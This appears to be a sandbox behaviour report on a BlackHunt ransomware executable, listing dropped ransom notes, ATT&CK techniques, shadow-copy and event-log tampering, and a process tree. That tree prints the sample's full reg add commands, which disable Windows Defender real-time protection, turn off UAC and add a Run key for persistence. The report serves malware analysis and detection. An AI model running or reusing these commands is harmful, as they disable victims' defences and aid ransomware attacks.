File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Marquesas	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Notes_loop_PAL.wmv	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\notification_plugin.jar	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-multiview.xml	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-oql_zh_CN.jar	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_uparrow.png	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\.data\#BlackHunt_ReadMe.txt	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\#BlackHunt_Private.key	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Madrid	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_olv.css	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_ButtonGraphic.png	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationUp_ButtonGraphic.png	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\Center	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\CST6CDT	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository.nl_zh_4.4.0.v20140623020002.jar	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+10	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-image-mask.png	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\#BlackHunt_ReadMe.txt	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Merida	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Whitehorse	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_ReadMe.txt	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\te\#BlackHunt_Private.key	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\#BlackHunt_ReadMe.hta	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.RSA	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-util.xml	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\#BlackHunt_Private.key	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_ButtonGraphic.png	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-options-keymap.jar	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_ReadMe.txt	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_Private.key	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#BlackHunt_ReadMe.txt	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_SelectionSubpicture.png	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\feature.xml	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-swing-plaf.xml	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-masterfs.xml	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yekaterinburg	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views.nl_zh_4.4.0.v20140623020002.jar	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ru.jar	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#BlackHunt_ReadMe.hta	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain.wmv	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_Private.key	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views_3.7.0.v20140408-0703.jar	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\MST7	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2036	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2168	vssadmin.exe
2816	vssadmin.exe
2680	vssadmin.exe
2124	vssadmin.exe
2784	vssadmin.exe
2620	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	vssadmin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	vssadmin.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
Token: SeRestorePrivilege	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
Token: SeBackupPrivilege	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
Token: SeTakeOwnershipPrivilege	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
Token: SeAuditPrivilege	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
Token: SeSecurityPrivilege	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
Token: SeIncBasePriorityPrivilege	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
Token: SeBackupPrivilege	2976	vssvc.exe
Token: SeRestorePrivilege	2976	vssvc.exe
Token: SeAuditPrivilege	2976	vssvc.exe
Token: SeBackupPrivilege	2196	wbengine.exe
Token: SeRestorePrivilege	2196	wbengine.exe
Token: SeSecurityPrivilege	2196	wbengine.exe
Token: SeSecurityPrivilege	2468	wevtutil.exe
Token: SeBackupPrivilege	2468	wevtutil.exe
Token: SeSecurityPrivilege	1380	wevtutil.exe
Token: SeBackupPrivilege	1380	wevtutil.exe
Token: SeSecurityPrivilege	2380	wevtutil.exe
Token: SeSecurityPrivilege	2484	wevtutil.exe
Token: SeBackupPrivilege	2484	wevtutil.exe
Token: SeBackupPrivilege	2380	wevtutil.exe
Token: SeSecurityPrivilege	1388	wevtutil.exe
Token: SeBackupPrivilege	1388	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 2792	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	29
PID 2744 wrote to memory of 2792	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	29
PID 2744 wrote to memory of 2792	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	29
PID 2744 wrote to memory of 2792	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	29
PID 2744 wrote to memory of 2752	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	31
PID 2744 wrote to memory of 2752	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	31
PID 2744 wrote to memory of 2752	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	31
PID 2744 wrote to memory of 2752	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	31
PID 2744 wrote to memory of 1540	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	33
PID 2744 wrote to memory of 1540	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	33
PID 2744 wrote to memory of 1540	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	33
PID 2744 wrote to memory of 1540	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	33
PID 2744 wrote to memory of 2548	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	35
PID 2744 wrote to memory of 2548	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	35
PID 2744 wrote to memory of 2548	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	35
PID 2744 wrote to memory of 2548	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	35
PID 2744 wrote to memory of 2772	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	36
PID 2744 wrote to memory of 2772	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	36
PID 2744 wrote to memory of 2772	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	36
PID 2744 wrote to memory of 2772	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	36
PID 2744 wrote to memory of 2576	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	39
PID 2744 wrote to memory of 2576	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	39
PID 2744 wrote to memory of 2576	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	39
PID 2744 wrote to memory of 2576	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	39
PID 2792 wrote to memory of 2568	2792	cmd.exe	40
PID 2792 wrote to memory of 2568	2792	cmd.exe	40
PID 2792 wrote to memory of 2568	2792	cmd.exe	40
PID 2752 wrote to memory of 3012	2752	cmd.exe	41
PID 2752 wrote to memory of 3012	2752	cmd.exe	41
PID 2752 wrote to memory of 3012	2752	cmd.exe	41
PID 2744 wrote to memory of 1132	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	42
PID 2744 wrote to memory of 1132	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	42
PID 2744 wrote to memory of 1132	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	42
PID 2744 wrote to memory of 1132	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	42
PID 1540 wrote to memory of 2704	1540	cmd.exe	44
PID 1540 wrote to memory of 2704	1540	cmd.exe	44
PID 1540 wrote to memory of 2704	1540	cmd.exe	44
PID 2744 wrote to memory of 2708	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	45
PID 2744 wrote to memory of 2708	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	45
PID 2744 wrote to memory of 2708	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	45
PID 2744 wrote to memory of 2708	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	45
PID 2744 wrote to memory of 2652	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	46
PID 2744 wrote to memory of 2652	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	46
PID 2744 wrote to memory of 2652	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	46
PID 2744 wrote to memory of 2652	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	46
PID 2744 wrote to memory of 2536	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	48
PID 2744 wrote to memory of 2536	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	48
PID 2744 wrote to memory of 2536	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	48
PID 2744 wrote to memory of 2536	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	48
PID 2744 wrote to memory of 2604	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	51
PID 2744 wrote to memory of 2604	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	51
PID 2744 wrote to memory of 2604	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	51
PID 2744 wrote to memory of 2604	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	51
PID 2744 wrote to memory of 1736	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	52
PID 2744 wrote to memory of 1736	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	52
PID 2744 wrote to memory of 1736	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	52
PID 2744 wrote to memory of 1736	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	52
PID 2744 wrote to memory of 2592	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	54
PID 2744 wrote to memory of 2592	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	54
PID 2744 wrote to memory of 2592	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	54
PID 2744 wrote to memory of 2592	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	54
PID 2744 wrote to memory of 1076	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	55
PID 2744 wrote to memory of 1076	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	55
PID 2744 wrote to memory of 1076	2744	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe	55

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe
"C:\Users\Admin\AppData\Local\Temp\f9ec49e25413de8f29eebe7fb32ec2e10d2dadf9e0bce5d1cae06a1d4b639d7d.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1132
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1116
- C:\Windows\System32\cmd.exe
